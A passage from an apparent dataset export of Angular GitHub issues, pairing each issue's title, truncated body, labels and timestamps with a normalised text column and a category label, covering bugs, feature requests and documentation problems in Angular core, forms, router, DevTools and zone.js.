High cyclomatic complexity and nested logic in the detectChangesInViewWhileDirty function. Multiple nested loops and conditionals reduce readability, making it harder for contributors to follow the logic, though the behavior appears necessary for correct internal state management.

Magic number usage: MAXIMUM_REFRESH_RERUNS is hard-coded to 100. While it is clearly defined, the reason for this specific value is not documented, which could make maintenance or adjustments more error-prone.

Steps to Observe:

Open packages/core/src/render3/instructions/change_detection.ts.

Locate the detectChangesInViewWhileDirty function.

Observe the nested conditionals and the MAXIMUM_REFRESH_RERUNS constant.

Expected Behavior:
Maintainable and readable code, with clear explanations for critical constants.

Actual Behavior:
The function works correctly, but readability is reduced and the constant’s purpose is not immediately clear.

Notes:
This issue is submitted as a code quality / maintainability concern. It is not a functional bug or regression.

Optional Improvement Suggestions:

Add comments explaining the purpose of MAXIMUM_REFRESH_RERUNS.

Consider refactoring the function to reduce nesting w... [TRUNCATED]",,2026-02-21 04:10:08+00:00,2026-02-21 04:51:12+00:00,4,nan,0.0285,high cyclomatic complexity and magic number in change detection function which angular package s are the source of the bug don t known other is this a regression no description during a review of angular s change detection implementation packages core src render instructions change detection ts i identified two maintainability concerns high cyclomatic complexity and nested logic in the detectchangesinviewwhiledirty function multiple nested loops and conditionals reduce readability making it harder for contributors to follow the logic though the behavior appears necessary for correct internal state management magic number usage maximum refresh reruns is hard coded to while it is clearly defined the reason for this specific value is not documented which could make maintenance or adjustments more error prone steps to observe open packages core src render instructions change detection ts locate the detectchangesinviewwhiledirty function observe the nested conditionals and the maximum refresh reruns constant maintainable and readable code with clear explanations for critical constants the function works correctly but readability is reduced and the constant s purpose is not immediately clear notes this issue is submitted as a code quality maintainability concern it is not a functional bug or regression optional improvement suggestions add comments explaining the purpose of maximum refresh reruns consider refactoring the function to reduce nesting w truncated,others,0.2272
angular/angular,3971233965,Refactor: Clean up signal file(s) TODO,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

No

### Description

Hello, 

Opening this issue as I haven't contributed to Angular before and I didn't want to just toss out a PR even for a smaller potential update. 

I was reviewing the core files for signals as I get into some projects using the framework, and noticed a comment pointing to an [issue in esbuild](https://github.com/evanw/esbuild/issues/3392). The TODO in the comment mentioned that it would be removed once the issue was resolved, however, the issue was 'closed as not planned'. It seems that the workaround implemented within Angular (using an IIFE to wrap the spread assignment with the pure annotation) is the recommended solution from esbuild.

I searched the repository and found 5 files where this comment / workaround was implemented, here is the example from [./packages/core/primitives/signals/src/signal.ts](https://github.com/angular/angular/blob/main/packages/core/primitives/signals/src/signal.ts):

```
// Note: Using an IIFE here to ensure that the spread assignment is not considered
// a side-effect, ending up preserving `COMPUTED_NODE` and `REACTIVE_NODE`.
// TODO: remove when https://github.com/evanw/esbuild/issues/3392 is resolved.
```

I'd be happy to open a PR to update or remove the comment on these to clean them up a bit. Since the referenced issue that this comment points to is closed as not planned, I figure it would make sense to either remove the TO... [TRUNCATED]",,2026-02-21 03:43:19+00:00,2026-02-23 18:19:56+00:00,2,nan,2.6088,refactor clean up signal file s todo which angular package s are the source of the bug core is this a regression no description hello opening this issue as i haven t contributed to angular before and i didn t want to just toss out a pr even for a smaller potential update i was reviewing the core files for signals as i get into some projects using the framework and noticed a comment pointing to an issue in esbuild the todo in the comment mentioned that it would be removed once the issue was resolved however the issue was closed as not planned it seems that the workaround implemented within angular using an iife to wrap the spread assignment with the pure annotation is the recommended solution from esbuild i searched the repository and found files where this comment workaround was implemented here is the example from packages core primitives signals src signal ts i d be happy to open a pr to update or remove the comment on these to clean them up a bit since the referenced issue that this comment points to is closed as not planned i figure it would make sense to either remove the to truncated,others,0.8402
angular/angular,3970871832,On idle trigger does not support providing an IdleDeadline,"### Which @angular/* package(s) are the source of the bug?

core

### Description

Right now `@defer(on idle)` will fire [requestIdleCallback](https://developer.mozilla.org/en-US/docs/Web/API/Window/requestIdleCallback), but there's no way to configure the second `options` parameter that allows for a configuration of a timeout. It would be great to add support for this. Something like `@defer(on idle(300)) {...` would be great to see. This would also require ensuring that this deadline is respected in the scheduling of the callback. So we'd want to look at the [`IdleDeadline`](https://developer.mozilla.org/en-US/docs/Web/API/IdleDeadline) for that.","open for contributions,area: core",2026-02-21 00:12:49+00:00,2026-03-04 15:57:33+00:00,6,"open for contributions,area: core",11.6561,on idle trigger does not support providing an idledeadline which angular package s are the source of the bug core description right now will fire requestidlecallback but there s no way to configure the second parameter that allows for a configuration of a timeout it would be great to add support for this something like would be great to see this would also require ensuring that this deadline is respected in the scheduling of the callback so we d want to look at the for that,help,0.9451
angular/angular,3970292878,Holding 'enter' key causes 'click' to fire repeatedly ('space' does not),"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

No

### Description

Example code:
```ts
import {Component} from '@angular/core';

@Component({
  selector: 'app-root',
  template: ` <button (click)=""foo()"">say hi</button> `,
})
export class App {
  foo() {
    console.log('hi');
  }
}
```

There's no way to check if these are ""real"" clicks or key repeats since $event is a fake PointerEvent

Interestingly, 'space' does the right thing here and only fires once, on keyup.

This is causing accessibility issues in our app -- specifically with an internal criterion we have that our app be usable by users who cannot move quickly enough to avoid the key repeat.

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/1ld5vzmq?file=src%2Fapp%2Fapp.ts

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.1.4
Angular           : 21.1.4
Node.js           : 20.19.1
Package Manager   : npm 10.8.2
Operating System  : linux x64

┌───────────────────────────┬───────────────────┬───────────────────┐
│ Package                   │ Installed Version │ Requested Version │
├───────────────────────────┼───────────────────┼───────────────────┤
│ @angular/build            │ 21.1.4            │ ^21.1.0-next      │
│ @angular/cli              │ 21.1.4            │ ^21.1.0-next      │
│ @angular/common... [TRUNCATED]",,2026-02-20 20:40:02+00:00,2026-02-20 21:45:50+00:00,3,nan,0.0457,holding enter key causes click to fire repeatedly space does not which angular package s are the source of the bug core is this a regression no description example code there s no way to check if these are real clicks or key repeats since event is a fake pointerevent interestingly space does the right thing here and only fires once on keyup this is causing accessibility issues in our app specifically with an internal criterion we have that our app be usable by users who cannot move quickly enough to avoid the key repeat please provide a link to a of the bug please provide the exception or error you saw please provide the environment you discovered this bug in run true angular cli angular node js package manager npm linux x package installed version requested version angular build next angular cli next angular common truncated,others,-0.8934
angular/angular,3969175448,feat: Add `options` optional parameter for `withComponentInputBinding`,"### Which @angular/* package(s) are relevant/related to the feature request?

router

### Description

I would like to use the `withComponentInputBinding` but be able to explicitly set which sources are allowed/disallowed to bind. Sources are noted [here](https://angular.dev/api/router/withComponentInputBinding) as follows:
- query parameters
- path and matrix parameters
- static route data
- data from resolvers

### Proposed solution

Add a new optional `options` parameter to `withComponentInputBinding` which has boolean properties for each source. Each boolean would be optional and default to `true`. The interface might look something like this:
```typescript
interface ComponentInputBindingOptions
{
  queryParams?: boolean;
  pathAndMatrixParams?: boolean;
  staticRouteData?: boolean;
  dataFromResolvers?: boolean;
}
```

And new function signature would look like this:
```typescript
function withComponentInputBinding(options?: ComponentInputBindingOptions): ComponentInputBindingFeature;
```

Here is an example if I didn't want query parameters to bind:
```typescript
provideRouter(ROUTES, withComponentInputBinding({ queryParams: false })
```

You could also call it the same as before, so this would have no breaking changes:
```typescript
provideRouter(ROUTES, withComponentInputBinding())
```

### Alternatives considered

Can't really think of any alternatives, and after doing some research I couldn't even find a workaround where I can exclude a certain source globally. The ... [TRUNCATED]",area: router,2026-02-20 15:45:20+00:00,2026-03-12 22:52:19+00:00,6,area: router,20.2965,add optional parameter for which angular package s are relevant related to the feature request router description i would like to use the but be able to explicitly set which sources are allowed disallowed to bind sources are noted here as follows query parameters path and matrix parameters static route data data from resolvers proposed solution add a new optional parameter to which has boolean properties for each source each boolean would be optional and default to the interface might look something like this and new function signature would look like this here is an example if i didn t want query parameters to bind you could also call it the same as before so this would have no breaking changes alternatives considered can t really think of any alternatives and after doing some research i couldn t even find a workaround where i can exclude a certain source globally the truncated,feature,0.9052
angular/angular,3967936369,Signal Forms: parse errors are lost when `parse()` returns both `value` and `errors`,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

Yes

### Description

In Signal Forms, parse errors can be dropped when a custom control uses `transformedValue` and `parse()` returns both a parsed `value` and `errors` in the same result.

This affects scenarios like validation during parsing (for example returning a numeric value but also emitting a max/min style parse error).

If `parse()` returns `{ value, errors }`, both should be preserved. In rc.0 the value updates, but errors are cleared and do not appear on `field.errors()`.

To repro, create a custom `FormValueControl<number | null>` using `transformedValue` with:

```
parse: (raw) => {
  const value = Number(raw);
  if (Number.isNaN(value)) return { errors: [{ kind: 'parse' }] };
  if (value > 10) return { value, errors: [maxError(10)] };
  return { value };
}
```

When entering 11, the field value updates, but `field.errors()` is empty (expected a max error).



### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.2.0-rc.0
Angular           : 21.2.0-rc.0
Node.js           : 22.22.0
Package Manager   : npm 10.9.0
Operating System  : darwin arm64

┌───────────────────────────┬───────────────────┬───────────────────┐
│ Package                   │ Installed Version │ Request... [TRUNCATED]","area: forms,forms: signals",2026-02-20 10:59:22+00:00,2026-02-20 18:28:57+00:00,2,"area: forms,forms: signals",0.3122,signal forms parse errors are lost when returns both and which angular package s are the source of the bug forms is this a regression yes description in signal forms parse errors can be dropped when a custom control uses and returns both a parsed and in the same result this affects scenarios like validation during parsing for example returning a numeric value but also emitting a max min style parse error if returns both should be preserved in rc the value updates but errors are cleared and do not appear on to repro create a custom using with when entering the field value updates but is empty expected a max error please provide a link to a of the bug no response please provide the exception or error you saw please provide the environment you discovered this bug in run true angular cli rc angular rc node js package manager npm darwin arm package installed version request truncated,bug,-0.8338
angular/angular,3964195888,Release Notes missing in 21.1.5 release,"### Describe the problem that you experienced

The Release notes are missing in the 21.1.5 release: https://github.com/angular/angular/releases/tag/v21.1.5

Additionally the changelog document does not contain anything in the 21.1.5 release: https://github.com/angular/angular/blob/main/CHANGELOG.md



### Enter the URL of the topic with the problem

https://github.com/angular/angular/blob/main/CHANGELOG.md

### Describe what you were looking for in the documentation

Normal release notes / changelog so that I have awareness of what has changed.

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

<img width=""1080"" height=""207"" alt=""Image"" src=""https://github.com/user-attachments/assets/17a39e20-a400-41dc-9f3b-b84cfe7d78db"" />

<img width=""1173"" height=""460"" alt=""Image"" src=""https://github.com/user-attachments/assets/2a383022-8a42-454f-84e5-c566a48466ac"" />

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```",area: dev-infra,2026-02-19 17:41:06+00:00,2026-02-19 18:29:58+00:00,3,area: dev-infra,0.0339,release notes missing in release describe the problem that you experienced the release notes are missing in the release additionally the changelog document does not contain anything in the release enter the url of the topic with the problem describe what you were looking for in the documentation normal release notes changelog so that i have awareness of what has changed describe the actions that led you to experience the problem no response describe what you want to experience that would fix the problem no response add a screenshot if that helps illustrate the problem if this problem caused an exception or error please paste it here if the problem is browser specific please specify the device os browser and version provide any additional information here in as much as detail as you can,others,-0.9565
angular/angular,3962708783,@angular/core/primitives/di export collision with @angular/core breaks SystemJS bundling,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

Yes

### Description

#### Problem
When bundling Angular 20+ for SystemJS (required for micro-frontends), the `inject` export from `@angular/core/primitives/di` collides with the public `inject` `export from @angular/core`. This causes bundlers to silently drop one of the exports, breaking runtime behavior.

#### Context

Use case: Micro-frontends using SystemJS for module loading
Angular version: 20+ (affects all versions with `primitives/di`)
Bundler: Rollup (same issue likely affects Webpack with SystemJS output)

Starting in Angular 20, the `fesm2022/` output includes chunked ESM with shared internal modules extracted into separate files. When creating a merged SystemJS bundle that includes both `@angular/core` and its sub-paths, Rollup encounters:
```javascript
export * from '@angular/core';
export * from '@angular/core/primitives/di';
```
Both modules export a function named `inject`, causing an ambiguous export conflict. Rollup silently drops one of them during the merge, resulting in missing exports in the final SystemJS output.

While I've found a workaround, other teams using micro-frontends and shared SystemJS bundles are struggling to resolve this. The issue creates real blockers for legitimate architectural patterns in the Angular ecosystem.

Attempts to resolve: https://github.com/angular/angular/pull/67098

### Please provide a link to a minimal reproduction of the bug
... [TRUNCATED]","needs reproduction,area: core",2026-02-19 12:26:13+00:00,2026-02-25 10:49:27+00:00,12,"needs reproduction,area: core",5.9328,angular core primitives di export collision with angular core breaks systemjs bundling which angular package s are the source of the bug core is this a regression yes description problem when bundling angular for systemjs required for micro frontends the export from collides with the public this causes bundlers to silently drop one of the exports breaking runtime behavior context use case micro frontends using systemjs for module loading angular version affects all versions with bundler rollup same issue likely affects webpack with systemjs output starting in angular the output includes chunked esm with shared internal modules extracted into separate files when creating a merged systemjs bundle that includes both and its sub paths rollup encounters both modules export a function named causing an ambiguous export conflict rollup silently drops one of them during the merge resulting in missing exports in the final systemjs output while i ve found a workaround other teams using micro frontends and shared systemjs bundles are struggling to resolve this the issue creates real blockers for legitimate architectural patterns in the angular ecosystem attempts to resolve please provide a link to a of the bug truncated,others,-0.5574
angular/angular,3962299574,with Angular DevTools 1.11.0 - tab memory usage increase every sec non stop.,"### Is this a bug report or a feature request?

- [x] Bug Report
- [ ] Feature Request

### Please provide the steps to reproduce the issue [Bug Report only]

on a chrome with angular DevTools extension version 1.11.0 installed.
open DevTools on a tab with a running angular app  (for example: angular.dev).



### Please provide the expected behavior vs the actual behavior you encountered [Bug Report only]

expected:
* tab memory usage should not increase the longer you stay in a page.
* the network tab should not be polluted.

actual:
* tab memory usage is increasing like in a memory leak scenario. 
* network tab is polluted every sec.

### Please provide a screenshot if possible [Bug Report only]

network tab:
<img width=""1917"" height=""1034"" alt=""Image"" src=""https://github.com/user-attachments/assets/f1d92859-ffd5-470c-a6f4-c91f437cdb55"" />

memory usage in tab hover:

<img width=""267"" height=""288"" alt=""Image"" src=""https://github.com/user-attachments/assets/05367f6b-d9cd-4e64-b864-d0a3f39e5248"" />

### Please provide the exception or error you saw [Bug Report only]

```true

```

### Is this a browser-specific issue? If so, please specify the device, browser, and version. [Bug Report only]

```true

```

### Description [Feature Request only]

_No response_

### Proposed solution [Feature Request only]

_No response_

### Alternatives considered [Feature Request only]

_No response_",area: devtools,2026-02-19 10:55:22+00:00,2026-02-19 16:45:35+00:00,1,area: devtools,0.2432,with angular devtools tab memory usage increase every sec non stop x bug report feature request please provide the the issue bug report only on a chrome with angular devtools extension version installed open devtools on a tab with a running angular app for example angular dev please provide the vs the you encountered bug report only expected tab memory usage should not increase the longer you stay in a page the network tab should not be polluted actual tab memory usage is increasing like in a memory leak scenario network tab is polluted every sec please provide a screenshot if possible bug report only network tab memory usage in tab hover please provide the exception or error you saw bug report only is this a browser specific issue if so please specify the device browser and version bug report only description feature request only no response proposed solution feature request only no response alternatives considered feature request only no response,others,-0.8095
angular/angular,3960623545,Go to Definition does not work inside @if or *ngIf blocks in templates,"## Summary

""Go to Definition"" (F12 / Ctrl+Click / Cmd+Click) does not resolve component methods and properties when the reference is **inside** an `@if` block (new control flow) or inside an `*ngIf` block in an Angular template. The same action works for references **outside** conditional blocks in the same template and in other components (e.g. root app.html without conditionals).

## Expected behavior

- From a template, Ctrl+Click (or F12) on a method or property used in a binding (e.g. `(click)=""ticketsPrint()""` or `[href]=""telegrammBotUrl""`) should navigate to its definition in the component class.
- This should work regardless of whether the binding is inside an `@if` / `@else` block or inside an `*ngIf` host.

## Actual behavior

- **Outside** conditional blocks: Go to Definition works (e.g. `[href]=""telegrammBotUrl""`).
- **Inside** `@if (...) { ... }`: Go to Definition does nothing (e.g. `(click)=""ticketsPrint()""` or `(click)=""close()""` inside `@if (beforeUnloadType)`).
- **Inside** `*ngIf`: Same failure — replacing `@if` with `<ng-container *ngIf=""..."">` does not fix it; Go to Definition still does not work for bindings inside the `*ngIf` block.

So the failure is not specific to the new control flow syntax; it affects content inside any conditional (both `@if` and `*ngIf`).

## Steps to reproduce

1. Create a standalone Angular component with an external template that uses conditionals, e.g.:

**component.ts**
```ts
@Component({
  selector: 'app-demo',
  standalone... [TRUNCATED]",,2026-02-19 02:09:28+00:00,2026-02-19 16:34:26+00:00,4,nan,0.6007,go to definition does not work inside if or ngif blocks in templates summary go to definition f ctrl click cmd click does not resolve component methods and properties when the reference is inside an block new control flow or inside an block in an angular template the same action works for references outside conditional blocks in the same template and in other components e g root app html without conditionals from a template ctrl click or f on a method or property used in a binding e g or should navigate to its definition in the component class this should work regardless of whether the binding is inside an block or inside an host outside conditional blocks go to definition works e g inside go to definition does nothing e g or inside inside same failure replacing with does not fix it go to definition still does not work for bindings inside the block so the failure is not specific to the new control flow syntax it affects content inside any conditional both and create a standalone angular component with an external template that uses conditionals e g component ts ts component selector app demo standalone truncated,others,-0.972
angular/angular,3957460445,Enforce 'schemaPath' naming convention,"### Describe the problem that you experienced

The Signal Forms documentation uses `schemaPath` for the schema callback parameter and includes a note about it:

> NOTE: The schema callback parameter (schemaPath in these examples) is a [SchemaPathTree](https://angular.dev/api/forms/signals/SchemaPathTree) object that provides paths to all fields in your form. You can name this parameter anything you like.

Rather than stating **you can name this parameter anything you like**, it would be better to clearly enforce this (or another one) naming convention that everyone (including AI) will adopt.

### Enter the URL of the topic with the problem

https://angular.dev/guide/forms/signals/form-logic#how-rules-work

### Describe what you were looking for in the documentation

_No response_

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```",,2026-02-18 11:50:01+00:00,2026-02-18 12:44:36+00:00,3,nan,0.0379,enforce schemapath naming convention describe the problem that you experienced the signal forms documentation uses for the schema callback parameter and includes a note about it note the schema callback parameter schemapath in these examples is a schemapathtree object that provides paths to all fields in your form you can name this parameter anything you like rather than stating you can name this parameter anything you like it would be better to clearly enforce this or another one naming convention that everyone including ai will adopt enter the url of the topic with the problem describe what you were looking for in the documentation no response describe the actions that led you to experience the problem no response describe what you want to experience that would fix the problem no response add a screenshot if that helps illustrate the problem no response if this problem caused an exception or error please paste it here if the problem is browser specific please specify the device os browser and version provide any additional information here in as much as detail as you can,others,-0.8126
angular/angular,3956390787,Request for Internal ABI (ɵɵ) Changelog between v17 and v20,"### Which @angular/* package(s) are relevant/related to the feature request?

compiler-cli, compiler, core, upgrade

### Description

We are an enterprise team migrating an internal SDK from Angular 17 to v20. Due to architectural constraints, we use Full Compilation Mode. We have observed significant shifts in internal instructions (ɵɵpropertyInterpolate1 → ɵɵproperty composition) and token renames (ɵPendingTasks → PendingTasks).

Backward compatibility is broken for our legacy application modules because the v20 runtime does not recognize the v17 ABI. While we understand these are private APIs not subject to backward compatibility constraints, at our scale, we need visibility into these changes to build compatibility shims.

### Proposed solution

Does the team have a generated ""diff"" of compiler instructions, or is there a recommended way to audit these changes using the Angular Linker’s internal mapping logic? Or a changelog containing such changes which could be publicly shared?

### Alternatives considered

Auditing the @angular/compiler-cli source code to see how the Linker maps declarations to instructions. But this requires deep expertise in the Angular Compiler's internal AST transformations. A public-facing changelog or mapping table would be a much more efficient 'source of truth' for the community and enterprise users than reverse-engineering the Linker logic.",,2026-02-18 07:29:10+00:00,2026-02-18 10:21:55+00:00,2,nan,0.12,request for internal abi changelog between v and v which angular package s are relevant related to the feature request compiler cli compiler core upgrade description we are an enterprise team migrating an internal sdk from angular to v due to architectural constraints we use full compilation mode we have observed significant shifts in internal instructions propertyinterpolate property composition and token renames pendingtasks pendingtasks backward compatibility is broken for our legacy application modules because the v runtime does not recognize the v abi while we understand these are private apis not subject to backward compatibility constraints at our scale we need visibility into these changes to build compatibility shims proposed solution does the team have a generated diff of compiler instructions or is there a recommended way to audit these changes using the angular linker s internal mapping logic or a changelog containing such changes which could be publicly shared alternatives considered auditing the angular compiler cli source code to see how the linker maps declarations to instructions but this requires deep expertise in the angular compiler s internal ast transformations a public facing changelog or mapping table would be a much more efficient source of truth for the community and enterprise users than reverse engineering the linker logic,feature,0.8477
angular/angular,3953345660,Font weight increase shift tabs,"### Which @angular/* package(s) are the source of the bug?

Don't known / other

### Is this a regression?

Yes

### Description

When menu bar font-weight active 700 to 400 item slightly shift left

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

_No response_",,2026-02-17 15:29:36+00:00,2026-02-17 22:03:49+00:00,3,nan,0.2738,font weight increase shift tabs which angular package s are the source of the bug don t known other is this a regression yes description when menu bar font weight active to item slightly shift left please provide a link to a of the bug no response please provide the exception or error you saw please provide the environment you discovered this bug in run anything else no response,others,-0.5561
angular/angular,3952107386,test,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

test

### Proposed solution

test

### Alternatives considered

test",,2026-02-17 10:46:24+00:00,2026-02-17 11:32:21+00:00,1,nan,0.0319,test which angular package s are relevant related to the feature request no response description test proposed solution test alternatives considered test,others,0.0258
angular/angular,3951563703,Incorrect comment about signal update behavior in Angular documentation example,"### Describe the problem that you experienced

In the Angular official documentation example for @Component, the inline comment says: “Always updates when the value of the `name` signal changes.” However, in the code snippet, there is no `name` signal defined. The signal defined is `theme = signal('dark')`, and the template uses t`heme()`. This makes the comment incorrect and confusing because it references a signal that does not exist in the example.

### Enter the URL of the topic with the problem

https://angular.dev/guide/templates/binding

### Describe what you were looking for in the documentation

I was trying to understand how Angular signals work inside a component template and how template updates are triggered when a signal value changes.

### Describe the actions that led you to experience the problem

I opened the Angular documentation page about signals and components, reviewed the provided example code, and noticed that the comment refers to a name signal even though only a theme signal is defined in the example.

### Describe what you want to experience that would fix the problem

I expect the inline comment in the documentation example to correctly reference the theme signal instead of name. The comment should say: “Always updates when the value of the theme signal changes.” Alternatively, if the example is meant to demonstrate a name signal, then the code should define name = signal(...) and use it consistently. The documentation should be internally consist... [TRUNCATED]","open for contributions,good first issue,area: docs",2026-02-17 08:46:38+00:00,2026-02-17 16:25:06+00:00,1,"open for contributions,good first issue,area: docs",0.3184,incorrect comment about signal update behavior in angular documentation example describe the problem that you experienced in the angular official documentation example for component the inline comment says always updates when the value of the signal changes however in the code snippet there is no signal defined the signal defined is and the template uses t this makes the comment incorrect and confusing because it references a signal that does not exist in the example enter the url of the topic with the problem describe what you were looking for in the documentation i was trying to understand how angular signals work inside a component template and how template updates are triggered when a signal value changes describe the actions that led you to experience the problem i opened the angular documentation page about signals and components reviewed the provided example code and noticed that the comment refers to a name signal even though only a theme signal is defined in the example describe what you want to experience that would fix the problem i expect the inline comment in the documentation example to correctly reference the theme signal instead of name the comment should say always updates when the value of the theme signal changes alternatively if the example is meant to demonstrate a name signal then the code should define name signal and use it consistently the documentation should be internally consist truncated,bug,-0.5994
angular/angular,3947960132,Update AJV to fix CVE-2025-69873,"### Which @angular/* package(s) are the source of the bug?

Don't known / other

### Is this a regression?

Yes

### Description

Hi could you update Ajv to latest version to fix the mentioned CVE. See https://github.com/ajv-validator/ajv/issues/2581

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

_No response_",,2026-02-16 14:09:05+00:00,2026-02-16 14:15:54+00:00,3,nan,0.0047,update ajv to fix cve which angular package s are the source of the bug don t known other is this a regression yes description hi could you update ajv to latest version to fix the mentioned cve see please provide a link to a of the bug no response please provide the exception or error you saw please provide the environment you discovered this bug in run anything else no response,bug,-0.4215
angular/angular,3944523551,Include @angular/fire in 'ng update',"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

Please include @angular/fire in 'ng update'

### Proposed solution

Please include @angular/fire in 'ng update'

### Alternatives considered

Please include @angular/fire in 'ng update'",,2026-02-15 17:22:16+00:00,2026-02-15 17:53:04+00:00,2,nan,0.0214,include angular fire in ng update which angular package s are relevant related to the feature request no response description please include angular fire in ng update proposed solution please include angular fire in ng update alternatives considered please include angular fire in ng update,others,-0.3818
angular/angular,3942078668,"Output signal wrong name, app still runs/builds","### Which @angular/* package(s) are the source of the bug?

compiler

### Is this a regression?

No

### Description

I have an Angular application where I defined an `Output()` event in a child component and then bound to it from the parent template. 
I expected the TypeScript compiler or Angular template type checking to fail if I used a wrong or non‑existing output name in the parent template. However, the app still compiles and runs successfully even when the output name used in the parent template does not match any actual Output() defined on the child component. 
What happens instead is that Angular accepts the binding silently, there is no build‑time error or runtime warning, and the event handler in the parent is simply never triggered, which makes this class of bugs (typos or stale output names) hard to detect

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz-starters-fexanjc4?file=src%2Fmain.ts

### Please provide the exception or error you saw

```true
I expect an error in the compilation/build
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.0.2
Angular           : 21.0.3
Node.js           : 20.19.1
Package Manager   : npm 10.8.2
Operating System  : linux x64

┌───────────────────────────┬───────────────────┬───────────────────┐
│ Package                   │ Installed Version │ Requested Version │
├───────────────────────────┼─────────────────... [TRUNCATED]",,2026-02-14 19:04:22+00:00,2026-02-14 19:11:05+00:00,3,nan,0.0047,output signal wrong name app still runs builds which angular package s are the source of the bug compiler is this a regression no description i have an angular application where i defined an event in a child component and then bound to it from the parent template i expected the typescript compiler or angular template type checking to fail if i used a wrong or non existing output name in the parent template however the app still compiles and runs successfully even when the output name used in the parent template does not match any actual output defined on the child component what happens instead is that angular accepts the binding silently there is no build time error or runtime warning and the event handler in the parent is simply never triggered which makes this class of bugs typos or stale output names hard to detect please provide a link to a of the bug please provide the exception or error you saw please provide the environment you discovered this bug in run true angular cli angular node js package manager npm linux x package installed version requested version truncated,others,-0.9538
angular/angular,3942025716,`formControl.setValue` inside a reactive context causes tracking of all signals read by value/validity change subscribers,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

Yes

### Description

After upgrading from Angular 19 to Angular 21
---
A component that uses `AfterRenderEffect` started behaving unexpectedly. When the user clicks a button in a toggle group, the selected value should be reflected correctly, but instead the view is reset to the main title after a render cycle. This appears to be triggered when a form control’s`setValue('main')` is called, which causes the render to run in a way that overrides the user’s selection.
If I comment out the `setValue('main')` call, the component behaves as expected and the selection is preserved, with no unexpected re-renders. 
well i susbect that **(iam not sure)** `setValue()` is now interacting differently with change detection and `AfterRenderEffect` between Angular 19 and Angular 21. I am trying to understand whether this is an intentional change in how `setValue` emits events or triggers rendering, or a regression in how it collaborates with render effects.


Link v19, where it was working [link](https://stackblitz.com/edit/stackblitz-starters-tptspfzl?file=src%2Fcustom-component.ts,src%2Fmain.ts)

link v21, where it was broke [link](https://stackblitz.com/edit/stackblitz-starters-tkg2lk9c?file=package-lock.json,src%2Fmain.ts)

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz-starters-tkg2lk9c?file=package-lock.json,src%2Fmain.ts

### Please prov... [TRUNCATED]",area: forms,2026-02-14 18:29:21+00:00,2026-02-19 17:11:08+00:00,10,area: forms,4.9457,inside a reactive context causes tracking of all signals read by value validity change subscribers which angular package s are the source of the bug core is this a regression yes description after upgrading from angular to angular a component that uses started behaving unexpectedly when the user clicks a button in a toggle group the selected value should be reflected correctly but instead the view is reset to the main title after a render cycle this appears to be triggered when a form control s is called which causes the render to run in a way that overrides the user s selection if i comment out the call the component behaves as expected and the selection is preserved with no unexpected re renders well i susbect that iam not sure is now interacting differently with change detection and between angular and angular i am trying to understand whether this is an intentional change in how emits events or triggers rendering or a regression in how it collaborates with render effects link v where it was working link link v where it was broke link please provide a link to a of the bug please prov truncated,others,-0.4841
angular/angular,3939098516,Page Not Found - https://v18.angular.dev/guide/di/creating-and-using-services#,"### Describe the problem that you experienced

When clicking a search result link, I got routed to https://v18.angular.dev/guide/di/creating-and-using-services# which is a Page Not Found.

### Enter the URL of the topic with the problem

https://v18.angular.dev/guide/di/creating-and-using-services#

### Describe what you were looking for in the documentation

I'm looking for information about Angular services.

### Describe the actions that led you to experience the problem

1. Visit https://v18.angular.dev/
2. Type ""Ctrl + K""
3. Type ""services""
4. Click on the search result ""Creating and using services"" Docs.
Expect:
Page loads
Actual:
Page Not Found

### Describe what you want to experience that would fix the problem

Creating and using service page loads successfully

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true
Page Not Found
```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```",,2026-02-13 20:39:59+00:00,2026-02-13 22:43:37+00:00,2,nan,0.0859,page not found describe the problem that you experienced when clicking a search result link i got routed to which is a page not found enter the url of the topic with the problem describe what you were looking for in the documentation i m looking for information about angular services describe the actions that led you to experience the problem visit type ctrl k type services click on the search result creating and using services docs expect page loads actual page not found describe what you want to experience that would fix the problem creating and using service page loads successfully add a screenshot if that helps illustrate the problem no response if this problem caused an exception or error please paste it here if the problem is browser specific please specify the device os browser and version provide any additional information here in as much as detail as you can,others,-0.7579
angular/angular,3937685279,(zone.js) Promise.try is undefined,"### Which @angular/* package(s) are the source of the bug?

zone.js

### Is this a regression?

No

### Description

In 2025 the static method [`Promise.try`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/try) recieved wide support in browsers.

ZoneAwarePromise does not implement it.

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true
Uncaught TypeError: Promise.try is not a function
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
_                      _                 ____ _     ___
